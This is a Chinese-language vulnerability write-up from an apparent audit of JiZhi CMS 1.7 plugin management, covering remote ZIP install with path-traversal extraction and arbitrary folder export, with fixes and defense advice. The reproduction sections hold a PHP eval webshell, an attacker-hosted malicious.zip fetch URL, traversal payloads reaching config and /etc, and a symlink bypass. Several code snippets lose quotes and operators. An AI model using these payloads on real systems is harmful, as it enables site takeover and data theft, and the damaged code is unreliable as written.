
1. 项目概述从一次内部审计说起去年年底我参与了一次针对某企业官网的安全审计目标系统正是基于极致CMS 1.7版本构建的。在常规的漏洞扫描和代码审计之外我们通常会特别关注CMS的插件或扩展机制因为这里往往是安全防护的薄弱环节也是攻击者最喜欢下手的“后门”。果不其然在对插件管理模块进行深度白盒审计时我们发现了两个非常典型且危险的安全漏洞一个涉及远程ZIP包的下载与自动解压另一个则允许攻击者将服务器上的任意文件夹打包下载。这两个漏洞组合起来几乎可以构成一条完整的攻击链从初步的信息窃取到最终的远程代码执行。今天我就把这次审计中发现的细节、原理、复现过程以及修复方案毫无保留地分享出来。无论你是网站开发者、安全运维人员还是对Web安全感兴趣的研究者理解这套机制背后的安全隐患对于加固你的系统都至关重要。2. 漏洞原理深度剖析插件机制的“信任”危机要理解这两个漏洞首先得搞清楚极致CMS 1.7插件机制的设计逻辑。它的本意是为了方便管理员从官方或第三方市场一键安装插件提升易用性。然而在追求便捷的道路上安全边界被严重模糊了。2.1 远程ZIP下载漏洞引狼入室的“自动安装”这个漏洞的核心在于一个名为download_plugin的函数或类似功能。为了简化安装流程系统允许管理员直接提交一个远程ZIP包的URL地址CMS后端会主动去下载这个压缩包并将其解压到插件的目录中。漏洞原理缺乏来源校验代码在接收远程URL参数时没有对URL指向的域名、协议或内容进行任何白名单校验。攻击者可以构造一个指向恶意服务器的URL。路径穿越与覆盖在解压ZIP包时系统使用了一个不安全的解压函数例如PHP的ZipArchive::extractTo并且没有对压缩包内的文件路径进行规范化检查和过滤。如果ZIP包内包含了类似../../../../etc/passwd或../../public/index.php的路径解压时就会覆盖系统关键文件。逻辑缺陷整个下载、解压、安装过程被设计为一个原子操作中间缺少必要的安全检查环节。系统默认“管理员提交的URL就是可信的”这违背了安全设计中的“最小权限”和“不可信输入”原则。攻击场景模拟攻击者可以精心制作一个ZIP包里面包含一个伪装成插件但实为Webshell的PHP文件或者包含用于路径穿越的恶意文件结构。然后他通过社交工程如钓鱼邮件诱骗管理员点击一个链接这个链接会触发CMS后台一个带有远程URL参数的请求。由于可能存在的CSRF漏洞或管理员误操作恶意ZIP包就被下载并解压到了服务器上攻击者从而获得了立足点。注意即使后台需要登录结合CSRF漏洞攻击者依然可以诱导已登录的管理员触发此操作完成“盲攻击”。2.2 任意文件夹打包下载漏洞服务器“目录遍历”的升级版如果说第一个漏洞是“上传”出了问题那第二个漏洞就是“下载”开了绿灯。极致CMS为了方便插件开发者调试或备份提供了一个打包插件目录为ZIP并下载的功能。问题出在这个功能接收的参数通常是插件目录名没有做好限制。漏洞原理参数可控且未过滤用于指定打包目录的参数如plugin_name直接来自用户输入系统没有校验这个参数是否真的对应一个合法的插件目录。目录遍历Path Traversal攻击者可以通过输入../../../这样的序列来向上穿越目录。例如如果插件根目录是/www/wwwroot/cms/plugins/传入参数../../../app/config经过路径拼接后系统尝试打包的目录就变成了/www/wwwroot/cms/app/config。敏感信息泄露利用此漏洞攻击者可以分步将服务器上的配置文件如数据库连接配置config/database.php、日志文件、源代码目录甚至整个网站根目录打包并下载。获取数据库配置后攻击者可以直接连接数据库拖走所有用户数据获取源代码后可以进行更深入的静态分析寻找更多漏洞。攻击链串联在实际攻击中攻击者往往会先利用“任意文件夹打包”漏洞下载config、application等目录分析出网站路径结构、数据库类型、框架特点等信息。然后利用获取的信息精心构造一个包含Webshell的恶意ZIP包再通过“远程ZIP下载”漏洞或结合其他上传点将Webshell上传到精准的路径最终获取服务器控制权。3. 漏洞复现与环境搭建为了让大家更直观地理解漏洞的利用过程我们搭建一个本地测试环境进行复现。请务必仅在授权的测试环境或本地虚拟机中进行操作。3.1 测试环境准备获取源码从官方或历史存档中下载极致CMS 1.7版本。部署环境使用PHP 5.6/7.x MySQL Apache/Nginx 环境。推荐使用Docker或集成环境包如PHPStudy、XAMPP快速搭建。安装CMS按常规流程安装极致CMS确保后台可以正常登录。定位关键文件通过代码搜索找到插件管理相关的控制器文件。通常位于/app/admin/controller/目录下文件名可能为Plugin.php或Addons.php。同时找到处理插件安装、打包的逻辑文件。3.2 远程ZIP下载漏洞复现步骤假设我们找到处理插件安装的接口为/admin/plugin/install接收参数url。制作恶意ZIP包创建一个临时文件夹在里面新建一个文件shell.php内容为一句话Webshell?php eval($_POST[‘cmd’]);?。如果你想尝试路径穿越可以创建这样的目录结构创建一个名为../../../public/的文件夹在Windows上创建包含..的文件夹名可能需要特殊技巧或命令行然后将shell.php放进去。将这个文件夹压缩成ZIP格式命名为malicious.zip。搭建简易远程服务器在你的攻击机另一台电脑或虚拟机上用Python快速开启一个HTTP服务python3 -m http.server 8000。将malicious.zip放在该服务目录下。发起攻击请求以管理员身份登录CMS后台。打开浏览器开发者工具F12的Network网络选项卡。在插件安装页面尝试触发安装并抓取这个请求。修改抓到的请求将url参数值改为http://你的攻击机IP:8000/malicious.zip。重放Replay这个请求。验证结果观察服务器响应。如果成功你的Webshell可能被解压到了/public/目录下如果使用了路径穿越或插件目录下。使用蚁剑、冰蝎等Webshell管理工具连接http://目标站点/shell.php或对应的路径测试是否连接成功。3.3 任意文件夹打包下载漏洞复现步骤假设打包下载的接口为/admin/plugin/export接收参数name。探测漏洞正常操作下name参数应该是一个已安装插件的文件夹名如HelloWorld。修改参数尝试目录遍历将name参数值改为../../../app。提交请求。观察结果如果漏洞存在服务器会开始打包/app目录假设CMS根目录为/www/wwwroot/cms/并最终返回一个ZIP文件供下载。下载该ZIP文件并解压你就能看到/app目录下的所有子目录和文件包括控制器、模型、配置文件等。扩大战果尝试不同的路径如../../../打包上一级目录、../../../config打包配置文件目录、../../../../etc尝试打包Linux系统文件取决于权限等。通过分析下载的配置文件尤其是数据库配置文件获取数据库连接信息。复现过程核心记录 在复现“任意文件夹打包”漏洞时我遇到了一个有趣的情况。系统在打包前似乎对目录存在性做了检查但如果传入的路径是一个符号链接Symbolic Link检查可能会绕过。例如在服务器上创建一个指向/etc/的符号链接ln -s /etc /tmp/testetc然后尝试打包../../../tmp/testetc。在某些配置下系统会跟随符号链接将/etc目录打包出来。这属于漏洞利用技巧的延伸。4. 代码层面深度解析与修复方案找到漏洞点只是第一步理解每一行有问题的代码才能从根本上修复和预防。4.1 漏洞代码片段分析远程下载漏洞疑似代码段示例需根据实际代码调整// 假设在 PluginController 的 install 方法中 public function install() { $url input(url); // 直接获取用户输入的URL $pluginPath ./plugins/; // 1. 下载文件 $zipFile $pluginPath . temp.zip; file_put_contents($zipFile, file_get_contents($url)); // 高危未校验$url // 2. 解压文件 $zip new \ZipArchive; if ($zip-open($zipFile) TRUE) { $zip-extractTo($pluginPath); // 高危直接解压到目标路径 $zip-close(); unlink($zipFile); $this-success(安装成功); } else { $this-error(安装包解压失败); } }问题点file_get_contents($url)允许从任意URL下载内容可能造成SSRF服务器端请求伪造攻击同时下载来源不可控。$zip-extractTo($pluginPath)直接解压如果ZIP包内含有绝对路径或..会导致文件被提取到预期之外的位置。任意打包漏洞疑似代码段示例public function export() { $name input(name); // 直接获取插件名 $pluginDir ./plugins/ . $name . /; // 简单检查目录是否存在可被绕过 if (!is_dir($pluginDir)) { $this-error(插件不存在); } // 使用ZipArchive打包 $zip new \ZipArchive; $zipFileName $pluginDir . $name . .zip; if ($zip-open($zipFileName, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) TRUE) { $files new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($pluginDir), \RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { // ... 将文件添加到ZIP ... } $zip-close(); // 提供文件下载 header(Content-Type: application/zip); header(Content-Disposition: attachment; filename.basename($zipFileName).); readfile($zipFileName); unlink($zipFileName); exit; } }问题点$pluginDir ./plugins/ . $name . /直接将用户输入的$name拼接到路径中。如果$name是../../../config则$pluginDir就变成了./plugins/../../../config/即../../config/。is_dir($pluginDir)检查虽然存在但面对路径遍历字符串时它检查的目录可能确实存在如../../config从而通过了校验。4.2 加固修复方案修复的核心原则是对所有用户输入进行严格的校验和过滤并对关键操作进行安全限制。针对远程ZIP下载漏洞的修复白名单校验来源彻底禁止从远程URL安装插件或只允许从预设的、经过HTTPS加密的官方市场地址安装。这是最根本的解决方式。安全解压函数如果必须支持上传ZIP安装应实现一个安全解压函数。function safeExtractTo($zipArchive, $destination) { for ($i 0; $i $zipArchive-numFiles; $i) { $entryName $zipArchive-getNameIndex($i); // 规范化路径防止路径遍历 $entryName str_replace(\\, /, $entryName); // 统一分隔符 $fullPath $destination . $entryName; // 检查解压路径是否在目标目录内 if (strpos(realpath($fullPath), realpath($destination)) ! 0) { // 路径穿越尝试记录日志并跳过此文件 Log::warning(尝试路径穿越: . $entryName); continue; } // 创建目录并提取文件此处省略具体提取代码 } }文件类型检查解压后对文件类型进行二次检查禁止.php,.phtml,.htaccess等可执行或敏感文件出现在非指定目录。针对任意文件夹打包漏洞的修复严格校验输入参数$name input(name); // 只允许字母、数字、下划线、短横线 if (!preg_match(/^[a-zA-Z0-9_-]$/, $name)) { $this-error(插件名称不合法); } $pluginDir realpath(./plugins/ . $name . /); // 使用realpath解析绝对路径 // 关键检查解析后的绝对路径是否仍在插件目录内 $baseDir realpath(./plugins/); if (strpos($pluginDir, $baseDir) ! 0) { $this-error(非法访问); } if (!is_dir($pluginDir)) { $this-error(插件不存在); }禁用符号链接跟随在遍历目录打包时使用RecursiveDirectoryIterator时设置\FilesystemIterator::SKIP_DOTS | \FilesystemIterator::FOLLOW_SYMLINKS不应该避免使用FOLLOW_SYMLINKS标志或者显式检查并跳过符号链接。$iterator new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($pluginDir, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::CURRENT_AS_PATHNAME), \RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if (is_link($file)) { continue; // 跳过符号链接 } // ... 处理普通文件 ... }5. 漏洞的深远影响与防御体系建设这两个漏洞单独来看已经足够危险组合利用则威力倍增。它们暴露的不仅仅是代码缺陷更是安全开发意识的缺失。潜在影响范围数据泄露通过打包漏洞获取数据库配置文件导致用户数据、订单信息、管理日志全部泄露。网站篡改通过上传恶意ZIP包覆盖首页或模板文件进行挂马、暗链、篡改内容。服务器沦陷上传Webshell后攻击者可以执行系统命令遍历服务器文件甚至作为跳板机攻击内网其他系统。供应链攻击如果攻击者入侵了官方或某个流行的第三方插件市场替换了正常的插件包为恶意包那么所有通过该渠道更新的网站都会中招。企业级防御建议及时更新与补丁立即检查所使用的极致CMS版本如果1.7应尽快升级到官方已修复的安全版本或根据上述方案手动修补代码。最小权限原则运行Web服务的系统用户如www-data、nginx应仅拥有对网站目录的必要读写权限绝不能拥有对/etc、/root等系统目录的读取权限。输入验证与输出编码在所有用户输入点GET/POST参数、Cookie、Headers实施严格的“白名单”验证。对所有动态输出的内容进行HTML编码防止XSS二次攻击。Web应用防火墙WAF部署WAF规则可以有效拦截包含../、file://、phar://等危险模式的请求。安全开发生命周期SDL在开发阶段就引入安全需求分析、威胁建模、安全代码培训、代码安全审计和渗透测试。对插件、组件等第三方代码引入严格的审核机制。日志审计与监控开启Web服务器和应用的详细访问日志、错误日志。监控对插件管理接口的异常访问特别是来自非管理员IP的请求以及请求参数中包含路径遍历特征的日志。6. 从漏洞挖掘到修复的实战心得在多年的安全审计中我总结出几条针对此类“功能逻辑漏洞”的挖掘和修复心得挖掘侧心得关注“便捷”功能凡是让管理员“一键操作”的功能一键安装、一键备份、一键导入都要打起十二分精神去审计。便捷性常常以牺牲安全性为代价。参数追踪到底从一个用户可控的参数如name、url出发在代码里手动或借助工具追踪它的完整“旅程”看它最终影响了哪些函数文件操作、数据库查询、命令执行。尝试非常规输入不要只测试正常值。对于路径参数尝试../、..\、编码后的..如%2e%2e%2f、空值、超长字符串、符号链接路径等。对于URL参数尝试file://协议读取本地文件http://内网IP探测内网甚至gopher://、dict://等协议进行SSRF探测。组合拳测试单个漏洞可能利用条件苛刻。思考漏洞如何组合CSRF远程下载文件打包XSS窃取Cookie文件上传路径穿越。修复侧心得不要相信前端所有后端接口必须独立进行完备的输入校验前端校验只是为了用户体验。使用安全的API优先使用框架提供的安全函数。例如在ThinkPHP如果极致CMS基于此中使用input(‘param.name/s’)进行字符串过滤使用model()-where()的预编译来防SQL注入。默认拒绝安全策略应该是默认拒绝所有然后显式允许特定的、已知安全的模式。例如对于插件名默认拒绝所有输入只允许匹配特定正则表达式的输入。深度防御修复不能只打一个补丁。在代码层修复后还要考虑网络层的WAF、主机层的文件权限控制、运维层的日志监控构成一个立体的防御体系。最后安全是一个持续的过程而不是一个可以一劳永逸的状态。每一次漏洞的发现和修复都是对系统健壮性的一次提升。作为开发者或运维者保持对安全问题的敬畏和持续学习的心态是构筑数字世界稳固防线的基础。